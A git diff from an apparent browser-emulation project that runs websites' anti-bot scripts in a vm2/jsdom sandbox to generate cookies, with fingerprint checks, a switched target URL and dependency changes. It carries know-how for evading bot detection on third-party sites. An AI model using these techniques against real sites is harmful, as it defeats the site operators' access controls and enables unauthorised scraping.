+try { + var bobo__2 = {} + bobo__2.__proto__ = Document.prototype + bobo__2.activeElement + + +} catch { + endsign += 'F' +} + + + +if (Object.getOwnPropertyDescriptor(window, 'document').set) { + +} else { + endsign += 'h' + let get_name = Object.getOwnPropertyDescriptor(window, 'document').get + '' + if (get_name == 'function get document() { [native code] }') { + endsign += 'I' + } else { + + + } +} +try { + Object.getOwnPropertyDescriptor(window, 'document').get() + + +} catch { + endsign += 'J' + +} + +//电池检测 + +function encrypt() { + try { + if (navigator.getBattery().__proto__ + '' == '[object Promise]') { + if (navigator.getBattery().then().__proto__ + '' == '[object Promise]') { + endsign+='0_____' + return endsign + } else { + + + } + + } else { + + } + } catch { + } +} + + +encrypt() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/浏览器事件.html b/env_xbb_lastest_jsdom/knowledge/浏览器事件.html new file mode 100644 index 00000000..d5237522 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/浏览器事件.html @@ -0,0 +1,36 @@ + + + + 浏览器事件补齐 + + + + +
+ +
+ + + + \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/main.js b/env_xbb_lastest_jsdom/main.js index 4e5c50ed..e78f1e67 100644 --- a/env_xbb_lastest_jsdom/main.js +++ b/env_xbb_lastest_jsdom/main.js @@ -23,8 +23,7 @@ isWindowSystem=true console.log(`当前系统为win`,isWindowSystem) //创建沙盒实例 -const vm = new VM( - ); +const vm = new VM(); const configCode=fs.readFileSync(`${config_path}/config.js`) //导入功能插件相关函数 @@ -41,6 +40,9 @@ const proxyObj = tools.getFile("proxyObj"); const jscode = fs.readFileSync(`${run_path}/run.js`) //导入异步执行的代码 const asyncCode = tools.getFile("async"); +//导入jquery的代码 +const myReqCode=tools.getFile('myReqHelper') + // bodavm.memory.tag[0].__proto__=HTMLDocument.prototype //整合代码 //导入日志代码 @@ -60,26 +62,35 @@ if (isWindowSystem){ } // debugger // const codeTest=`${configCode};;${toolsCode};${log_code}${envCode}${userInit};;${globadlThis}${globalInit}${proxyObj};;;;debugger;try{;${jscode}${asyncCode}}catch(e){console.log(e.message,e.stack);}finally{;${last_deal}};get_cookie`; -const codeTest=`${configCode};;${toolsCode};${log_code}${envCode}${userInit};;${globadlThis}${window_config_code}${globalInit}${proxyObj};;;;debugger;;${jscode}${asyncCode};${last_deal};get_cookie`; +const codeTest=`${configCode};;${toolsCode};${log_code}${envCode}${userInit};;${globadlThis}${myReqCode}${window_config_code}${globalInit}${proxyObj};;;;debugger;;${jscode}${asyncCode};${last_deal};get_cookie`; const app = express() // app.get('./gethtml', async function (req, res) { // val =req.query // }) -let bohtml_=fs.readFileSync('.\\run\\run.html').toString('utf-8') +let bohtml_=fs.readFileSync(`${run_path}\\run.html`).toString('utf-8') +url='https://qikan.cqvip.com/Qikan/Search' + + // bohtml_ const dom = new JSDOM(bohtml_, { - url: "http://www.fangdi.com.cn/", - referrer: "http://www.fangdi.com.cn/", + url: url, + referrer: url, contentType: "text/html", includeNodeLocations: true, pretendToBeVisual: true, - + // runScripts: "dangerously", }); + +// debugger console.log('jsdom 导入完成',+new Date()-firsttime) +// dom.window.onload = () => { +// debugger +// console.log("DOM loaded!"); +// }; bodaobj={ @@ -88,18 +99,21 @@ bodaobj={ location:dom.window.location, navigator:dom.window.navigator, navigation:dom.window.navigation + // "bohtml_":bohtml_, + // "JSDOM":JSDOM, + // "url":url } // debugger // iframe - //沙盒创建全局 vm.setGlobal('bofs', fs) vm.setGlobal('isWindowSystem',isWindowSystem) // // vm.setGlobal('bobo$',bobo$) // // debugger +// vm.setGlobal('HookedFunction',HookedFunction) vm.setGlobal('bodaobj',bodaobj) vm.setGlobal('bocreateCanvas',createCanvas) @@ -123,7 +137,7 @@ vm.setGlobal('bocreateCanvas',createCanvas) - +// vm.run('debugger;!new function(){eval("this.a=1")}().a') const script = new VMScript(codeTest, "./debugJS.js") @@ -140,8 +154,8 @@ let lastime=+new Date() console.log('花费时间:',lastime-firsttime) // app.listen(3000) //输出结果 -// debugger -console.log(getcookieapi()) +debugger +console.log('结果:',getcookieapi()) fs.writeFileSync(`${run_path}/output.js`,codeTest) diff --git a/env_xbb_lastest_jsdom/main1.js b/env_xbb_lastest_jsdom/main1.js deleted file mode 100644 index af6abc8b..00000000 --- a/env_xbb_lastest_jsdom/main1.js +++ /dev/null @@ -1,7 +0,0 @@ -// const { createCanvas, loadImage } = require('canvas') -// const canvas = createCanvas(1440, 200) -// const ctx = canvas.getContext('2d') -// ctx.fillRect(100,200,300,400) -// console.log(canvas.toDataURL()) - - diff --git a/env_xbb_lastest_jsdom/main_rs5.js b/env_xbb_lastest_jsdom/main_rs5.js deleted file mode 100644 index a38c317c..00000000 --- a/env_xbb_lastest_jsdom/main_rs5.js +++ /dev/null @@ -1,126 +0,0 @@ - -let firsttime = +new Date() -var { VM, VMScript } = require("vm2") -var fs = require("fs"); -var { JSDOM } = require('jsdom') -var path = require("path"); -//var { createCanvas } = require('canvas') - -var express = require('express') - -let run_path = path.resolve(__dirname, './run/'); -let config_path = path.resolve(__dirname, './config/'); -let tools_path = path.resolve(__dirname, './tools/'); -var tools = require(`${config_path}/tools.config`) -var env = require(`${config_path}/env.config`) -var asyncCode = tools.getFile("async"); -var bodyParser = require('body-parser'); -const winston = require('winston'); - - -var app = express() - - -//当前电脑是不是windows系统 -isWindowSystem=true - -var vm = new VM( - ); - -var window_config_code='' -//该目录下的代码只能在windows下运行 -if (isWindowSystem){ - window_config_code=fs.readFileSync(`${tools_path}/winSystemFunc.js`) - var boallundefined= new xtd; - // debugger - vm.setGlobal('boallundefined',boallundefined) -} - - - -var configCode = fs.readFileSync(`${config_path}/config.js`) -var toolsCode = tools.getCode(); -var envCode = env.getCode(); -var userInit = tools.getFile("userInit"); - -var globadlThis = fs.readFileSync(`${tools_path}/globalThis.js`) -var last_deal = fs.readFileSync(`${run_path}/lastDeal.js`) -var codeTest = `${configCode};;${toolsCode};${envCode}${userInit};;${globadlThis};${window_config_code};;;debugger;;`; - -//日志 -const logger = winston.createLogger({ - level: 'info', - format: winston.format.combine( - winston.format.timestamp(), - winston.format.json() - ), - transports: [ - new winston.transports.File({ filename: 'error.log', level: 'error' }), - new winston.transports.File({ filename: 'combined.log' }) - ] -}); - -if (process.env.NODE_ENV !== 'production') { - logger.add(new winston.transports.Console({ - format: winston.format.simple() - })); -} - -// app -app.use(bodyParser.urlencoded({ extended: false ,limit:'100mb'})); - -var isfirst_=true -var getcookie='' - - -debugger - -app.post('/api', function (req, res) { - // res.send("123") - var html = req.body.html; - var jscode = req.body.jscode; - var url=req.body.url - var ip =req.connection.remoteAddress - - logger.info(`当前ip--->${ip},isfirst_:${isfirst_}`) - if (html &&jscode && isfirst_) { - isfirst_=false - var dom = new JSDOM(html, - { - url: url, - referrer:url, - contentType: "text/html", - includeNodeLocations: true, - pretendToBeVisual: true, - - }); - bodaobj = { - window: dom.window, - document: dom.window.document, - location: dom.window.location, - navigator: dom.window.navigator, - navigation: dom.window.navigation - } - vm.setGlobal('bodaobj', bodaobj) - code=codeTest+jscode+asyncCode+last_deal+';'+'get_cookie' - getcookie = vm.run(new VMScript(code)) - debugger - let cookie_url=getcookie() - console.log(`cookie_url: ${JSON.stringify(cookie_url)}`) - res.send(cookie_url) - //script=null - //vm=null - - }else if (isfirst_==false){ - cookie_url=getcookie() - console.log(`已经运行过一次,直接获取cookie_url: ${JSON.stringify(cookie_url)}`) - res.send(cookie_url) - } - -}) - -app.listen(port=3000,host='127.0.0.1', () => { - console.log('Server is running on port 3000'); -}); - - diff --git a/env_xbb_lastest_jsdom/node_modules/.package-lock.json b/env_xbb_lastest_jsdom/node_modules/.package-lock.json index 04efca64..f842682f 100644 --- a/env_xbb_lastest_jsdom/node_modules/.package-lock.json +++ b/env_xbb_lastest_jsdom/node_modules/.package-lock.json @@ -5,8 +5,9 @@ "packages": { "node_modules/@mapbox/node-pre-gyp": { "version": "1.0.10", - "resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.10.tgz", - "integrity": "sha512-4ySo4CjzStuprMwk35H5pPbkymjv1SF3jGLj6rAHp/xT/RF7TL7bd9CTm1xDY49K2qF7jmR/g7k+SkLETP6opA==", + "license": "BSD-3-Clause", + "optional": true, + "peer": true, "dependencies": { "detect-libc": "^2.0.0", "https-proxy-agent": "^5.0.0", @@ -24,66 +25,24 @@ }, "node_modules/@tootallnate/once": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", - "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "license": "MIT", "engines": { "node": ">= 10" } }, "node_modules/abab": { "version": "2.0.6", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", - "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==" + "license": "BSD-3-Clause" }, "node_modules/abbrev": { "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" - }, - "node_modules/accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "dependencies": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/acorn": { - "version": "8.8.2", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.2.tgz", - "integrity": "sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-globals": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-7.0.1.tgz", - "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==", - "dependencies": { - "acorn": "^8.1.0", - "acorn-walk": "^8.0.2" - } - }, - "node_modules/acorn-walk": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", - "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", - "engines": { - "node": ">=0.4.0" - } + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/agent-base": { "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", "dependencies": { "debug": "4" }, @@ -93,21 +52,24 @@ }, "node_modules/ansi-regex": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "optional": true, + "peer": true, "engines": { "node": ">=8" } }, "node_modules/aproba": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", - "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/are-we-there-yet": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz", - "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==", + "license": "ISC", + "optional": true, + "peer": true, "dependencies": { "delegates": "^1.0.0", "readable-stream": "^3.6.0" @@ -116,102 +78,32 @@ "node": ">=10" } }, - "node_modules/array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" - }, "node_modules/asynckit": { "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "license": "MIT" }, "node_modules/balanced-match": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" - }, - "node_modules/body-parser": { - "version": "1.20.1", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz", - "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==", - "dependencies": { - "bytes": "3.1.2", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "on-finished": "2.4.1", - "qs": "6.11.0", - "raw-body": "2.5.1", - "type-is": "~1.6.18", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/body-parser/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/body-parser/node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/body-parser/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/brace-expansion": { "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", - "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/canvas": { "version": "2.11.0", - "resolved": "https://registry.npmjs.org/canvas/-/canvas-2.11.0.tgz", - "integrity": "sha512-bdTjFexjKJEwtIo0oRx8eD4G2yWoUOXP9lj279jmQ2zMnTQhT8C3512OKz3s+ZOaQlLbE7TuVvRDYDB3Llyy5g==", "hasInstallScript": true, + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "@mapbox/node-pre-gyp": "^1.0.0", "nan": "^2.17.0", @@ -223,24 +115,25 @@ }, "node_modules/chownr": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "license": "ISC", + "optional": true, + "peer": true, "engines": { "node": ">=10" } }, "node_modules/color-support": { "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", - "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "license": "ISC", + "optional": true, + "peer": true, "bin": { "color-support": "bin.js" } }, "node_modules/combined-stream": { "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" }, @@ -250,84 +143,43 @@ }, "node_modules/concat-map": { "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/console-control-strings": { "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==" - }, - "node_modules/content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - "dependencies": { - "safe-buffer": "5.2.1" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/content-type": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", - "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" - }, - "node_modules/cssom": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", - "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==" + "license": "ISC", + "optional": true, + "peer": true }, "node_modules/cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-3.0.0.tgz", + "integrity": "sha512-N4u2ABATi3Qplzf0hWbVCdjenim8F3ojEXpBDF5hBpjzW182MjNGLqfmQ0SkSPeQ+V86ZXgeH8aXj6kayd4jgg==", "dependencies": { - "cssom": "~0.3.6" + "rrweb-cssom": "^0.6.0" }, "engines": { - "node": ">=8" + "node": ">=14" } }, - "node_modules/cssstyle/node_modules/cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" - }, "node_modules/data-urls": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", - "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-4.0.0.tgz", + "integrity": "sha512-/mMTei/JXPqvFqQtfyTowxmJVwr2PVAeCcDxyFf6LhoOu/09TX2OX3kb2wzi4DMXcfj4OItwDOnhl5oziPnT6g==", "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" + "whatwg-url": "^12.0.0" }, "engines": { - "node": ">=12" + "node": ">=14" } }, "node_modules/debug": { "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "license": "MIT", "dependencies": { "ms": "2.1.2" }, @@ -342,13 +194,13 @@ }, "node_modules/decimal.js": { "version": "10.4.3", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", - "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + "license": "MIT" }, "node_modules/decompress-response": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-4.2.1.tgz", - "integrity": "sha512-jOSne2qbyE+/r8G1VU+G/82LBs2Fs4LAsTiLSHOCOMZQl2OKZ6i8i4IyHemTe+/yIXOtTcRQMzPcgyhoFlqPkw==", + "license": "MIT", + "optional": true, + "peer": true, "dependencies": { "mimic-response": "^2.0.0" }, @@ -356,53 +208,31 @@ "node": ">=8" } }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==" - }, "node_modules/delayed-stream": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", "engines": { "node": ">=0.4.0" } }, "node_modules/delegates": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==" - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/detect-libc": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.1.tgz", - "integrity": "sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w==", + "license": "Apache-2.0", + "optional": true, + "peer": true, "engines": { "node": ">=8" } }, "node_modules/domexception": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", - "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "license": "MIT", "dependencies": { "webidl-conversions": "^7.0.0" }, @@ -410,28 +240,15 @@ "node": ">=12" } }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" - }, "node_modules/emoji-regex": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" - }, - "node_modules/encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", - "engines": { - "node": ">= 0.8" - } + "license": "MIT", + "optional": true, + "peer": true }, "node_modules/entities": { "version": "4.4.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz", - "integrity": "sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==", + "license": "BSD-2-Clause", "engines": { "node": ">=0.12" }, @@ -439,161 +256,9 @@ "url": "https://github.com/fb55/entities?sponsor=1" } }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" - }, - "node_modules/escodegen": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz", - "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", - "dependencies": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1" - }, - "bin": { - "escodegen": "bin/escodegen.js", - "esgenerate": "bin/esgenerate.js" - }, - "engines": { - "node": ">=6.0" - }, - "optionalDependencies": { - "source-map": "~0.6.1" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": 